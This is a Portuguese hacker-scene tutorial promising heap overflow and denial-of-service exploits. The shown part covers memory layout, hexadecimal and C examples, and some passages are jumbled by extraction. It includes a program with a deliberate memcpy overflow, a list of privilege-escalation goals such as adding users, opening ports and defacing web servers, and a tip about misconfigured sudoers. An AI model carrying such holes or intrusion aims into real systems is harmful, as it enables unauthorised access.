You are on page 1of 33

========================================== == <-- Corporacao Vibora --> == == A CENA HACKER UNDERGROUND BRASILEIRA == ========================================== METODO DE ENSINO: ANARQUIA PORQUE OS PUNK'S SAO MAIS ORGANIZADOS --> --> --> --> -->

Explorando falha de Aprendendo um pouco Criando exploits de --> --> --> --> --> --> --> --> --> --> --> --> heap overflow sem misterio # sobre o Unix/Linux... D.O.S --> --> --> --> --> --> --> -->

By 6_Bl4ck9_f0x6 <-> Elite Underground teem <->

Gringuuuuu? /////¼¼ Exploiting heap overflow flaw without mistery because I will never be untrue Creating Denial of Service exploit... =7 Learning a little about Unix/linux Email: b-fox@metasploit -br.org MSN: ratao666@hotmail.com

"O inteligente nao eh aquele que 'pensa' estar enganando... eh aquele que 'finge' estar sendo enganado"... --- Anonymous "Desliga esse computador! A energia ta cara!" --- Sandra (Minha mae) "Ei David, me diz uma coisa, se o caminho do shell no linux eh o /bin/bash entao no windows seria \bin\bash?" --- Alguem que eu pretendo nunca mais ver... Atencao: Se vc for 1 lamah q soh quer saber de trojans detectaveis e de usar o themida (kkk!) p/ proteger eles deixando o mesmo 60 MB ( \O/!! =) e inda por cima nao gostar de nada tecnico, vaza daqi seu rato imundo. Se vc nao gostar d infos tecnicas enfie esse txt no seu rabo! E... Se vc for um hacker etico, que prega a "etica" dos anjos pq tem um empreguinho de 20 mil pilas por mes e nao precisa roubar, e nao gosta d Black Hat's, simplesmente deletem esse file e vivam com oq eh divulgado por ai, nao que o assunto deste txt nao seja divulgado, pois o assunto deste txt eh sim "amplamente divulgado" na internet, estou me referindo ao que eu e minha equipe estamos escrevendo... Oq? ? Vc nao eh 1 Black Hat e nao eh nosso amigo? Ooo, que peninha, vai ficar sem aprender com a banda podre da laranja 'XD' Quero ver vc's rastejando por conhecimento seus White Hat's desgracados, como eu 1 dia pude admirar 1 White Hat. Hoje vi q o infel iz

estah pra lah de ultrapassado... Enfim, vc's entenderam oq eu quis dizer: ##################################################### # 'WHITE HATS and LAMES: CAIAM FORA CORJA MALDITA! # ################# ####################################

ATENCAO2:

SE VOCE JA SABE PROGRAMAR EM C (mesmo q em nivel intermediario), MANJA UM POUCO DO UNIX, SABE O QUE Eh FUZZING E NAO QUER LER TODA A LENGA -LENGA QUE ESCREVI AQUI SOh P/ PASSAR O TEMPO RSRSR... VA DIRETO PARA O CAPITULO: "Humm... Entao isso eh que eh o Heap Overflow Leiam logo isso amigos!"

SE VOCE AINDA NAO SABE O QUE Eh HEAP OVERFLOW E TA DOIDO PARA FAZER SEU, ---------> PRIMEIRO EXPLOIT!

Ahhhhhhh!!!!!!!!! Este e outros textos podem ser adquiridos em: ********************************************** http://www.thebuggers.in ****************************** **************** Excelent Underground forum ********************************************** 'E' ****************** + -================================================== -+ wWw.darkers.com.br < --+To sem logar aqui para postar com "muita frequencia"| ****************** |ateh q um dos moderadores seja banido. Vou pegar es -| |se rato quando ele menos esperar. Esse moderador eh| |um lamah, "literalme nte", que estah vestido com pele| |de hacker... + ^====================================================^ Se quiser dar uma olhada no www.metasploit -br.org eu nao tenho nad a contra ^^ [+ ======X============X===============X===== +] INDICE [+ ======X============X===============X===== +] *.* 1.0 2.0 3.0 4.0 <-Nao era para ter um zero aqui (0x00)? Issu eh ou nao eh hexadecimal?

Introducao O que de bo m esse treco pode me trazer? Modelos de memoria classicos. Entendendo os enderecos de memoria (Overview) Leiam logo isso amigos!

0.0 - Capitulo em dimensao paralela 0.1 - Entendendo a tal da alocacao dinamica e o static 5.0 - Humm... Entao isso eh que eh o Heap Overflow -

6.0 - SetUID? No windows nao tem issu, pode me explicar? ¬¬ 6.1 - Tirando proveito XD 7.0 - A funcao memset (); - A base dos exploits de D.o.S 7.1 - Quais as utilizacoes de D.o.S? 8.0 - Xau... 1.0 - introducao tan dam! Suuurpreesaaa! Olha o tio fox aqui mocada bonita!! E o povo pede biS e e pede mais, e pedi biS e pede mais. O pre -requisito p/ um "bom entendimento" deste texto ja era de ser previsivel, ou seja, aprenda a programar em C amigo!! Os Hackers sao programadores! Nao exist hacker q nao saiba programar. Acompanhe as edicoes da C.O.D.E e aprenda a base! Os link's estao no final deste texto! Com esse texto pretendo lhes ensinar como funciona um dos bugs mais exploitados de todos os tempos, o bug de 'heap overflow', que eh comumente chamado d Buffer Overrun pelo pessoal d mais idade (Aquele povo que usa o codigo de controle 'i' em C, para visualizar valores inteiros ;), eu particularmente chamo esse bug d buffer overrun (Nao sou um tiozinho nao! Eu tenho 19 anos!), porque foi assim q eu aprendi, mas... Enfim, vamos logo ao q interessa aqui. Vc deve ta querendo saber o q d bom vc pode pode fazer com isso... Bem, vou listar algumas posiveis utilidades de se exploitar logo adiante, mas antes eu gostaria de dedicar esse paper ao meu amigo Sandro que me deu uma forca, ele disse que se eu desistir do hacking, ele me hackeia (Ui, que meda dela) rsrsrs... Esse povo de 'mais idade' soh fala beste ira..XD Ateh barba branca o infeliz tem, ops... tenho que respei tar, quem sabe ele nao me arruma um emprego eim? rsrsr... E... tambem vou dedi car esse paper ao meu parceiro possesso q estah me ajudando a evoluir uma tec nica q eu batizei de WarLiving , que literalmente destroi a vida d uma pessoa ;) Esqueca tudo q vc ja leu sobre Heap Overflow, pois tenho certeza q eles tenta ram deixar o negocio o mais "complexo" possivel p/ vc nunca aprender, aposto!!! Isso eh coisa de White Hat mesquinho! Aqui vc vai realmente saber como eh facil fuder um prog com esse vulnera. =========================================================== =DEDICO ESTE PAPER ESPECIALMENTE A UM KIDDIE TOSCO CHAMADO= ===================== ***** ****** ========================= +===========+ ^ | Vejam qual eh o nick que cabe ai (***********) Ah! Aqui instalei o Kurumin (Debian ;) para servir como base, ou seja, nada de winsux por aqui manoh. Agora voce deve estar dizendo algo do tipo: Ahhhh Eu uso o windows, nem vo continuar lendo... Calma amigo! Continue! Vou t dizer porque. De 100 servidores na internet, como servidor de web, ftp, e tals, no minimo uns 80 estao rodando sobre arquitetura Unix, ou seja, com o conhecimento q aqui se ra descrito, vc vai aprender a hackiar oq vc nao usa (Se vc nao usar ;). O ma terial aqui eh do bom mano, sempre confie em mim am igo! Atualmente tenho muitas pessoas confiando em mim e nunca vou decepciona -las, nunca... ps: Eu to fazendo charme, vou falar sobre o winsux tambem rsrsr... 2.0 - O que de bom esse treco pode me trazer?

1$ cat /proc/cpuinfo processor : 0 vendor_id : AuthenticAMD cpu family : 15 model : 44 model name : AMD Sempron(tm) Processor 2600+ stepping : 2 cpu MHz : 1599. q nao tenham ele por padrao cm o usuario kurumin tem rs.. Siga a seguinte (Siga a seguinte????) analogia. mas tente fazer uma troca...) [4] .guiadohardware.Elevacao de privilegios para: [1] .Adicionar usuarios no sistema [2] . [5] . vou voltar a tocar nesse assunto manohs.... eu estou comendo uma goiabinha (Humm. Debian Etch \n \l http://www.) e quero q vc troque sua peira pela minha goiaba.Ativar sudo p/ usuarios menos privilegiados. Veja a minha arquitetura e essas paradinhas da vida..Abrir portas no sistema para um posteriror acesso .Fazer deface em webservers (Eu adoro isso .). Debian? Use Debian!! Olha a faaaca rsrs... eu nao posso te obrigar a isso. so para ver como o linux eh. depois instale o Debian Puro (Minha distribuicao Linux preferida =]). eu pegaria sua peira e ainda ficaria com minha goiaba eheh!!! Assim matando dois coelhos com um tiro soh. mas se eu estivesse discascando a goiaba com 1 faca eu te forcaria a trocar..957 cache size : 128 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow pni lahf_lm ts ttp tm stc bogomips : 320 3.net . nao..) O kurumin eh um sistema linux baseado do debian.. Olha. etc. .P [3] ... ou com uma facada soh =) Procure uma distribuicao linux ideal para voce. poooreeeeta. Ae estah as infos do meu processador e tals: sh-3. nao sou sua mae ou sua namorada chata p/ lhe dizer qual sistema vc deve usar.. voce esta comendo uma peira. tipo assim. nao. ninguem olha o arquivo de configuracao do sudo e ainda esquecem de desativa -lo (Padrao doidu do kurumin! .Etc..58 Mais algumas infos: root@Black_Machine:/home/Black_Fox# cat /etc/issue Kurumin Linux. Sem contar no fato de que muitos admins nao querem saber de olhar o grupo dos usuarios!!! Ei! Essas foram dicas! O PATH do file de config eh: /etc/sudoers =7. use ele por algum tempo amigo.

. O "stack" overflow ocorre na registao . foi soh p/ destacar < -.. Exemplo: OpCode 90 Assembly NOP .BSS | +----------.18.Aqui ocorre o Stack overflow < -. Esse tal modelo usual de memoria vai depender do sistema..) +----------. mas nao se preocupe manoh.Modelos de memoria classicos.Digite seu login e senha. Ja a regiao '.1$ uname -a Linux Black_Machine 2.DATA | +----------. apesar dos mo delos usuais de memoria serem diferentes para cada sistema.6. pois tem gente que nao gosta de manipular colisoes entre heap e stack ehehe. startx : Inicia o modo grafico configurar -video : Redetecta a placa de video /etc/init.1$ arch i686 sh-3.1 -slh-up-2 #1 PREEMPT Wed Oct 25 18:46:42 CES T 2006 i686 GNU/Linux sh-3.TEXT | +----------.TEXT' armazena o codigo do programa em assembly.+ -a? Nao. instrucoes essas q por sua vez sao frequentemente chamadas d "opcodes" quando estamos escrevendo shellcodes.) 3.Instrucoes em assembly (Codigo do programa em assembly) Como diz o chefia do " -Time inseguro -": Nao va pensando que a memoria eh 1 qua dradinho bonitinho q vai enchendo naum! Nao eh mesmo rsrs.0 .d/kdm restart : Reinicia o gerenciador de login mcedit : Editor de texto links : Navegador web halt : Desliga o micro root@Black_Machine:/home/Black_Fox# sh-3. A regiao onde ocorre o Heap Overflow armaze na dados em enderecos "sequenciais" e tals .BSS "longe" de seu s "limites".+ | .1$ Isso acima (arch) eh um pleonasmo ja q eu usei uname manoh ..BSS'. codigos esses que sao as representacoes diretas das instrucoes de maquina.) apenas para demonstracao. mas vou dar um a boa base ae.+ | . a nocao eh a mesma! Heap eh um local. vou mostrar o modelo usual de memoria no "Linux/i186" (Onde serah q eu vi issu. stack eh outro. jah o Heap overflow ocorre na regisao '...Aqui ocorre o Heap O verflow < -.DATA. o comum eh usarmos heap overflow p/ sobrescrever os enderecos de memoria na regiao .+ | .

nao esqueca. e equivale a 1 byte (rsrss. nop e afins.. 'A'. e uma letra equivale a 1 byte! \x41 <-. %x e %x \n". 2 digitos hexadecimais equivalem a 1 byte. Idiota. deixa esse paga -pau p/ lah.. B e C -. pq cm falei. 'B'.. e esta' em hexadecimal. podemos separ ar a mesma de 2 em 2 tambem!! Cada letra na string equivale a dois digitos em hexadecimal. entao ai esta o encaixe perfeito manoh! .:) Quando nosso shellcode eh composto por strings em hexa (Obvio). pq fica mais facil enviar o shellcode com a funcao "send()" atraves d o socket =7 Voce sabia que os exploits normalmente sao desenvolvidos p/ o proposito de exploracao remota? Ei!! Sabia q a funcao send() nao permite o envio d dados inteiros atraves do socket? HiHiHi.... } -. Esse txt nao eh sobre shellcode! Mania que eu tenho de explicacao! Para separar cada caractere da string contida . Olhem oq esse idiota falou: ".cut -main (){ printf ("%c... normalmente os manohs que escrevem shellcodes usando o modelo "string" pq eh mais hacku rsrs.2 Digitos em hexa . 0x41..). 0x42..B \x43 <-..cut -Resultado: A. estupido.cut -main (){ printf ("%x... 42 e 43 Lembrando q usando shellcode como string ("") os dados devem ser colocados na pilha d forma inversa.A \x42 <-.O NOP eh convertido em 90 ( "Instrucao de maquina" ). Ei ei ei!! Eu sei pq eles usam strings p/ escrever shellcodes amigo blackwinner lammer (idiota burro). %c e %c \n".... equi valem a 1 byte (olha o opcode 90 < -... 'C'). 0x43). ou seja. da! Obvio! \O/) em formado OpCode. Sabiam q os set instructions como mov. Ave Maria \O/! Hummm. vamos continuar.cut -Resultado: 41.)? Ja q cada caractere dentro d uma string equivale a um byte. e ja que o '90' eh um set instruction (Na linguagem de programacao "Assembly". 2 digitos em hex equivalem a '1 byte'. } -.C -. lammer. etc ..diferença é quem e screve mais:" Depois eh eu q to precisando d 1 abraco..Leiam! Voce lembra disso winner? Acha que eu sou trouxa? Enfim... 1 byte a cada dois digitos.

Na regiao "variaveis globais" eh onde todas as variaveis globais sao armaze nadas (Isso eh bem imprevisivel. Nao se preocupe com esse treco ai em cima.+ < ----+ | | | | | | | | | | | | | | +--------------------. ou seja. dpois q o buffer esta' cheio tudo q vinher dpois eh lucro. criar variaveis locais. os pointers (Ponteiros) Heap e stack gravam dados em sentido a suas respectivas areas de alocacao de memoria disponiveis.). assim executando oq vc programou com o shellcode (Os opcodes). blz! Bem.. colisao! rss.. e heap eh outro. ou seja.P Como voce pode per ceber atraves das setas neste diagrama acima.k. os dados sao retornados ao shellc ode (Opcode's). Pois as mesmas vao gravando dados indo p/ o mesmo lado.:P desculpem..+ | Variaveis globais | +------------------. o Heap. pois como tamb em ja falei. el es enchem um buffer que nao controla dados. nao eh possivel. o sal!! A area q vamos explorar.+ | | | Stack (Pilha) | | | + | + | | | | V | | | < > | | | ^ | | | | + | + | | | Heap | | | +------------------. vamos supor q eles enchem o buffer de A's (soh p/ variar). olha o nop: ' \x90'..) Voce vai entender. pois quando acontece o retorno. pois memoria 'varia' d acordo com as implementacoes do C. etc. e ende recos de variaveis esticas a.. lhe dizer a disposicao fisica global (a. CPU e "ambiente". por hora vamos nos aproveitar de simples system()'s e execl()'s rsss.+ |Codigo do programa | +------------------. continue lendo parceiro ..a: de todas as memorias do mundo eheh) de memoria. voce soh precisa saber q stack eh um local..+ < ----+ Como citei anteriormente. Eles fazem issu pq sabem q o processador trabalha com hexa decimal/opcodes.+ + -----< Este eh um 'layout' | | | d memoria classico. heap armazena dados em "enderecos de memoria sequenciais" (Va lendo o paper amigo.. \O/!). eeei! Issu eh assunto p/ + tarde eheh. a stack grava dados a partir do maior endereco (0xffffffff) para o menor (0x00000000) e o 'heap' faz o oposto disto. passar parametros p/ funcoes. A regiao 'Codigo do Programa' armazena o codigo executav el do programa. | | + --------------------. E. +------------------.. . eh q eu tenho mania de ensinar coisas e desmoralizar lamah's que querem ser os hackus ¬¬ Veja agora um tipico modelo de memoria de um programa em C. A area Stack eh a responsavel por salvar o endereco de retorno das subrotinas. d dados (Olha que original).a: static'S . va lendo..no nosso shel lcode devemos declarar o caractere de escape ' \x' (Especificador d constante hexadecimal em C) seguido da tal constante (valor) em hexa (OpCode). do menor 0x00000000 para o maior 0xffffffff. voce vai entender!! . e oq eh melhor! Com os "privilegios" do "dono" do programa manoh! C o dono do programa for "root". o tema aqui nao eh escrita de shellcode e muito menos "stack" overflow. eh por isso que o heap pode colidir com a stack. O heap eh responsavel por armazenar dados alocados dinamicamente.k. Mas esse eh o modelo ideal p/ vc ter em mente parceiro. e isso eh igual a.

mas no nosso calculo acima existe o '0' porque 1024 bytes * 64k equivalem e 6553'6' bytes! Bingo! Faz sentido!!!! . o tal hexadecimal.XD \O/!! Agora quando vamos fazer calculos com valores hexadecimais e essas coisas nao podemos usar o 0 para representar o 1. pq eu vou repetir o 1 se eu quiser representar o 10. cada seguimento tem 64k de tamanho.. ateh porque vc soh tem 10 dedos nas maos rsrs. Voltando ao hexadecimal. e mude p/ 'Dec'.. eureca! A calculadora nao conta com o 0.+ V V V V V V | | | 10| 11| 12| 13| 14| 15| | +_ --------------------.. p/ vc saber quantos bytes existem dentro de KB's. Verah o numero '15' e nao 16. Nesse caso o '1' (10). pois cada seguimento tem 64k de tamanho. 1024 bytes = 1 KB. eh apenas um nome estrambolico. t ome como exemplo a base decimal.Esse eh o certU! Nao notou amigo? Veja que depois que o 9 eh o limite. assim fazendo o '0' ser o 1 e o F ser o 16. desista da vida. Ah!!!! A memoria de qualquer computador eh dividida em "seguimentos". e depois que voce aprender voce pode sair dizendo para as meninas que entende de numeros "hexadecimais" enchendo a boca rsrsr. Enfim.. Como eu ja falei cada segmento d memoria possui o tamanho de 64k bytes. Se vc nao entendeu. Faca 1 teste. depois os numeros vao comecar a ser repetidos. depois marque a checkbox 'Dec' (Decimal) para ver o seu correspondendo em decimal. veja que eu comecei do 0. na calculadora nao eh contado o 0 quando estamos trabalhando com numeros hexadecimais.+ | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | | | | | | | | +_-------------------------------------.. tome como base a calculadora do windows. a base que eh utilizada pelos enderecos de memoria.> A memoria comeca a ser escrita a partir do endereco 0 em cada seguimento... Isso eh + que obvio.. Eh um nome realmente forte nao eh? rsrss. Seu lamah! eheheh. ou seja. Lembram que quando comecamos no hacking aprendemos logo sobre unidades de armazenam ento de dados? Ou seja._+ | +-. Aposto q des de quando vc era garotinho q o povo insiste em te dizer que se comeca a contar do 1 ateh o 10. Veja como eh bem tosco o esquema.Entendendo os enderecos de memoria Vou falar primeiramente da unidade d base 16. Hoje vc vai saber a verdade amigo! Existe uma conspiracao lhe en sinando o errado des d quando voce era um pequenino bebe! Vesgo e mongoloid! Quem serah esse? .) 0 1 2 3 4 5 6 7 8 9 < -. Ei. voce eh um completo inutil!! :) Agora vamos a base 16. Vera 65535..+ | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | B | C | D | E | F | +---+----------------------------------------------------------. Maque a checkbox ond esta escrito hex e digite 'F'. Iss o quando estamos nos referindo a memoria do sistema.. faca isso: 1024 bytes * 64K = 65536 bytes Ahamm! Digite FFFF em 'Hex' na calc. Veja essa tabelinha: +---+----------------------------------------------------------.4.0 . Nao se assunte.

O.} -. if (argc != 2){ fprintf (stderr. Lembram que 8 bits equivale a 1 byte? Entao p/ sabermos quantos bits existem dentro de um determinado numero de bytes. pois o endereco d memoria trabalha com a base hexadecimal. issu foi intencional! Para exploitar esse programa precisariamos entao utilizar um codigo d exploit d b0f. q sao aqueles exploits q enchem o buffer vulneravel (heaven[777]. Brevemente alguem vai escrever sobre isso para a C.h> int main (int argc. XD Vejam um exemplo de programa que mostra o endereco de memoria de uma matriz d ca racteres (string): -. *(argv+1). Veja esse prog em acao maninho: Black_Fox@Black_Machine:~/Desktop$ gcc -o love Black_Fox@Black_Machine:~/Desktop$ .. heaven[Te_amo]). "Welcome to the Heaven %s \n\n". ate o endereco F.Te_amo+=1){ printf ("%X -> %c\n". char **argv){ char heaven[777]. exit (-1). sizeof (heaven)). *(argv+0)). "Use: %s <your_name_here> \n". basta vc multipli car o numero de bytes por 8. a partir do endereco zero. &heaven[Te_amo].) que representar a' os bytes.cut -Repare q este software possui um bug de stack overflow./love David Welcome to the Heaven David This is your heaven BFA69E73 -> D BFA69E74 -> a I_Love. E por ai vai.Te_amo<=strlen (heaven).Entao eh verdade q a memoria comeca a ser escrita a partir do endereco 0! Sempre multiplique o numero de Kb's por 1024 (Hummm. que eh o numero de bits.h> #include <stdlib./love <your_name_here> Black_Fox@Black_Machine:~/Desktop$ .} return (0).. int Te_amo=0. reelaxaaa!! O endereco de memoria comeca a ser utilizado em um seguimento.c . puts ("This is your heaven \n").D. for (Te_amo./love Use: .h> #include <string.) p/ logo em seguida fazer o 'return_addr' retornar ao inicio do shellcode... fprintf (stdout.c -#include <stdio.} memcpy (&heaven. p/ o nosso proposito saber isso nao eh essencial rsrs.I_love.E. Veja: 2 bytes * 8 bits = 16 bits Entao dentro d 2 bytes existem 16 bits. *(argv+1)).

depois o valor volt a a ser '0' ( 22FC70 -> < ). eh incrementado.. o numero q esta ao lado deste. e esse endereco eh reservado p/ ele.exe <your_name_here> C:\Documents and Settings \David>love. se voce tentar o sistema v ai quebrar seu programa. os fatores q interferem nesse caso podem ser o compila dor. enta o sistema quebra .exe Use: love.c -o love C:\Documents and Settings \David>love.. repare nos enderecos de memoria: C:\Documents and Settings \David>gcc c:\I_Love. \O/!!) e vice -versa. blah blah... Existem implementacoes q salvam dados do maior endereco (FFFFFFFF) p/ o menor (00000000 < -. e vao ateh 'F'? Veja que a primeira letra da string < ->6_Bl4ck9_f0x6< -> eh salva no endereco 22FC60. alem dest endereco voltar a ser 0. quando uma linha d endereco chega a F. pois o sistema usa memoria tambem (Onde sera' q eu eu escrevi issu?). ou seja. blah blah.BFA69E75 -> v BFA69E76 -> i BFA69E77 -> d BFA69E78 -> Black_Fox@Black_Machine:~/Desktop$ Vou compilar e executar este mesmo programa no windows. essa faixa se inicia com '0' e vai ateh o 'F' (22FC6F -> 6). ele armazena dados do maior endereco ateh o menor. A stack por exemplo. 22FC'7'0.exe "< ->6_Bl4ck9_f0x6< ->" Welcome to the Heaven < ->6_Bl4ck9_f0x6< -> This is your heaven 22FC60 22FC61 22FC62 22FC63 22FC64 22FC65 22FC66 22FC67 22FC68 22FC69 22FC6A 22FC6B 22FC6C 22FC6D 22FC6E 22FC6F 22FC70 22FC71 22FC72 22FC73 -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> -> < > 6 _ B l 4 c k 9 _ f 0 x 6 < > C:\Documents and Settings \David> Lembra que eu disse que os dados sao gravados a patir do endereco de memoria '0'.Nao chega ate aqi pq o sistema tambem usa memoria ehhe. pois em hexa o maior numero eh F! Repare que o numero a esquerda era 6 (22FC'6'F). A maneira d alocacao de dados p/ variaveis na memoria varia muito (Como eu nao paro 1 mi nuto de REPETIR! ¬¬). NESTE CASO maninho! Ou seja. blah. coisa q eh impossivel. o programa tend a chegar ao endereco 0. etc.

Eu tambem ja mostrei issu! Ei. se voce sabe C voce deve saber disso. Veja: #include <stdio. Ei amigos! Jah q meu hardware e d 32 bits entao 1 faixa d memoria cheia equivale ao hexadecimal FFFFFFFF. ja q o int ocupa 1 intEIRO (Endereco todo). sizeof (float)). sizeof (char)). mas espero q tenham entendido issu!). nao importa o seu tipo. 1 variavel do tipo long ocupa 4 bytes tambem em enderecos continuos ( \O/ Obvio! eh uma variavel!!). em sistemas de 16 bits 1 int ocupa apenas 16 bits.c].FFFF). Repare q completei os 8 digitos p/ fazer 4 bytes nesses meus exemplos. Ta fazendo sentido pra vc neh? Ja em hardware de 16 um inteiro vale 2 bytes hummm. soh por frescuriti mesmo. isso nos aprende mos em apostilas de C. Esse eh utilizado p/ dter minar constantes em hexa. e uma variavel do tipo double ocupa 8 bytes.Isso eh o maior endereco em hardware de 16 bits. sizeof (double *)). Pessoal. vc lembra q eu disse que dois digitos hexadecimais equivalem a 1 byte (8 bits)? A faixa de enderecos acima possui '8' digitos em hexa. sizeof (double)).. Hummm. e por ai vai. Vc pode ver a quantidade de bytes q uma variavel ocupa no seu sistema usando o operador sizeof(). bytes \n"..h> main (){ printf printf printf printf printf printf } Resultado: ("char ("int ("float ("double ("int pointe r ("double pointer : : : : : : %d %d %d %d %d %d byte(s) [Frecura :] \n". As matrizes (No exemplo acima [I_love. . isso e igual a 4 bytes. bytes \n". como voce pode ver.. ou seja.. uma variavel do tipo int. 32 bits. Q doidera meu. ou seja.:) Para nos referirmos a enderecos de memoria devemos especificar que se trata de valores hexadecimais. portanto dvemos especificar o '0x'. nao esquecam que 1 determinado tipo de variavel pode ocupar tama nhos diferentes de acordo com o sistema. \O/! Veja: main (){ printf ("%d".. sizeof (int)). 0xA).. em sistem as de 32 bits um 'int' (Por exemplo) vai ocupar 4 bytes na memoria (32 bits).. Um caractere (char) ocupa apenas 1 byte na memoria. } Resultado: 10 Se eu nao usasse o nosso amigo '0x' este programa nao leria o 'A' como hexa. sizeof (int *))..a execucao do programa (Hum.). . bytes \n". Ufa! Eeee eu to doidaaaauuumm!!!!! Professor ruleZ!!! Cada tipo de variavel ocupa uma quantidade de dados na memoria. ocupa quatro bytes continuos (Hardware d 32 bits . Um ponteiro "sempre" vai ter o tamanho de 4 bytes em hardwares de 32 bits. sempre eh 4. bytes \n". matrizes de caracteres -> strings) sao armazenadas em enderecos 'sequenciais'/continuos. bytes \n".. 16 bits. entendeu o pq? Simples!! FFFF < . Bem...). aff! Mas para quem nao sabe. 2 bytes (Prontu. entao um inteiro vai ter 2 bytes. vou parar d repetir issu. e um endereco todo em h ardware de 16 bits eh 2 bytes (4 digitos hexadecimais .

de uma olha nos link's no final deste texto que voce vai encontrar um tutorial basico dele.. Humm.<>--------+ |Esse eh o espaco reservado p/ uma variavel inteira em| |hardware d 32 bits..} -. vou dar um exemplo de alocacao de memoria para armazenar determi nados tipos de variaveis. | Esses 4 bytes q armazenam o numero 5.sh-3.cut here -0x00000000 0x00000001 0x00000002 0x00000003 0x00000004 0x00000005 0x00000006 0x00000007 0x00000008 0x00000009 0x0000000A 0x0000000B 0x0000000C 0x0000000D 0x0000000E 0x0000000F 0x00000010 0x00000011 < ---|_____ Memoria relativa a variavel numero. Isso me lembra algo =) Sabe por que o indice d matrizes em 'C' eh 0 (zero) p/ referenciar o primeiro elemento da matrix? Facil! Simplesmente pq uma matriz eh salva a patir do endereco 0 (zero) na memoria. mas eh a mesma coisa amigo! Ou quase.. ... | . FFFF FFFF = 4 bytes 1234 5678 0x00000000 0x00000001 0x00000002 0x00000003 < ---|_____ | < ---+------<>---------------------. para windows.corte aqui -main (){ int numero=5.<>------------. Cada faixa dessa equivale a 1 byte..1$ gcc len. -.1$ . pois o windows nao presta .Uma variavel do tipo char ocupa 1 byte na memoria (0x00000010).. 4 bytes).) Para uma melhor compreensao.| |Repare que um int equivale a 4 bytes nesse exemplo pq o| |endereco d memoria maximo eh 0xFFFFFFFF ('8' algarismos| |em hexadecimal.c sh-3. char letra= 'C'. < ---- < -----------.out char : int : float : double : int pointer : double pointer : 1 4 4 8 4 4 byte(s) [Frecura :] bytes bytes bytes bytes bytes Se voce nao sabe manipular o gcc por enquanto./a. usando enderecos ficticios.

str1[indice]).indice<=strlen (str2).+------<>---------------------.indice+=1) printf ("%X -> %c\n".indice<=strlen (str4). a memoria costuma gravar os dados de matrizes a patir do endereco 0. essas matrizes sao todas . Veja um exemplo com matrizes de caracteres (strings): -. &str3[indice]. str3[]="is". str2[]="name".indice+=1) printf ("%X -> %c\n".<>--------+ Como eu havia citado acima.indice<=strlen (str3). str2[indice]). for (indice=0.c -#include <stdio.\0 Terminador de string < -.0 alocadas umas proximas das outras. str4[]="David". for (indice.indice+=1) printf ("%X -> %c\n". str4[indice]).} -.h> int main (void){ char char char char str1[]="My".cut -C:\>Hundred. return (0).\0 < -. for (indice=0. &str1[indice].indice<=strlen (str1). por isso q o indice em C eh 0. int indice=0. &str4[indice]. for (indice=0.<>------------.Hundred.indice+=1) printf ("%X -> %c\n".\0 < -.exe 22FF60 -> M 22FF61 -> y 22FF62 -> 22FF50 -> n 22FF51 -> a 22FF52 -> m 22FF53 -> e 22FF54 -> 22FF40 -> i 22FF41 -> s 22FF42 -> 22FF30 -> D 22FF31 -> a 22FF32 -> v 22FF33 -> i 22FF34 -> d 22FF35 -> Repare que < -. &str2[indice]. str3[indice]).

&letra). \n". cm no heap ehehe.Uma no endereco seguinte da outra ehehe. "mas".Quando nao existe mais dados em uma determinada matriz entao a "matrix" ( Pegou vc .1$ . va lendo.a: Uma depois da outra ..) vizinha eh alocada na memoria. a memoria procura o endereco seguinte q tenha 0 disponivel e aloca a segunda matri x e assim por diante.(daa! Issu eh obvio meu Deus! \O/!). O limite maximo de memoria virtual para cada processo eh de dois GB (Giga bytes)... int numero=5. pontu!!!! Agora p/ finalizar esse assunto e podermos passar p/ o Sal. ela le e escreve em qualquer endereco de forma "aleatoria".1$ gcc Minority. que como voce aprendeu vai de 0x00000000 a 0xFFFFFFFF.. como o proprio nome sugere.h> main (){ char letra='M'. &alundra). ou seja. printf printf printf printf } -. isso se deve ao fato de uma memoria RAM . aff. Existem locais em que os dados sao gravados em memoria continua. Agora no linux: -. Vamos ver mais sobre enderecos. obvio que o mesmo deve estar "disponivel" p/ alocacao. &numero). Veja que nao existe uma sequencia nos enderecos. o que acontece eh: Cada processo/programa possui um endereco na memoria virtual. \n".k. eh uma memo ria de acesso aleatorio (Essa dueu ateh em mim \O/! rsrs.. no caso de alocacao -..).. =).. gostaria de dizer q esta memoria anteriormente estudada eh a memoria virtual e nao a fisica.c sh-3. va lendo amigo. float *pointer.Ramdom Access Memory que em portugues significa Memoria de Acesso Aleatorio.. vc vai entender!! E como eu nao canco de falar.5. double alundra=10. \O/! Como vc pode ver o esquema de enderecamento dela eh bem simples./minory Endereco de letra : Endereco de numero : Endereco de alundra: Endereco de pointer: sh-3. mas cm eu ja citei anteriormente o sistema tambem usa memoria virtual. Issu eh obvio!! Mas como voce pode perceber. &pointer). Como vc pode ver em qualquer debugger a stack tambem faz parte da memoria virtual . pois o sistema operacional tb utiliza memoria (Diabo! Eu ainda morro d escrever '!' rsrss =).cut this file here -#include <stdio.. as matrizes tb sao armazenadas em enderecos continuos (a. e isso significa q um programa nao usa a memoria virtual toda. \n"..1$ -o minory 0xbfbe2ddf 0xbfbe2dd8 0xbfbe2dd0 0xbfbe2dcc ("Endereco ("Endereco ("Endereco ("Endereco de de de de letra : numero : alundra: pointer: %p %p %p %p \n".cut here -sh-3. esse endereco eh mapeado p/ a memoria fisica no momento da execucao do processo.

ou seja.k.O.a: Digamos q nao compartilhar seja a acao mais comum . uma variavel pode esta armazenada no endereco virtual 'x'. eu vou mallocar/alocar memoria p/ ele e apos isso ele "pode armazenar" 5 bytes na memoria. mas existem outras funcoes tambem. mas isso nao eh regra (a.). Enfim.Entendendo a tal da alocacao dinamica e o static (Overview) Bem.1 . pontu! 0. ou seja. outra variavel tambem pode estar armazenada ne ste mesmo endereco virtual. eu faco o mesmo que dizer: 1 * 5. nada mais eh que voce alocar/reservar "memoria" ('nesse caso') para determinadas constantes que sao passadas pelo usuario do programa em tempo de execucao (O termo tempo de execucao "refere -se" a eventos gerados durante a execucao de um programa) por exemplo. p/ eu nao ter que fazer tudo do zero. Ja q sei que 1 char equivale a 1 byte. eu ja citei no comeco do texto que voce teria que saber 'C' p/ eu nao perder meu tempo explicando isso. o valor d "retorno da malloc()". vou explicar aqui um pouco sobre alocacao 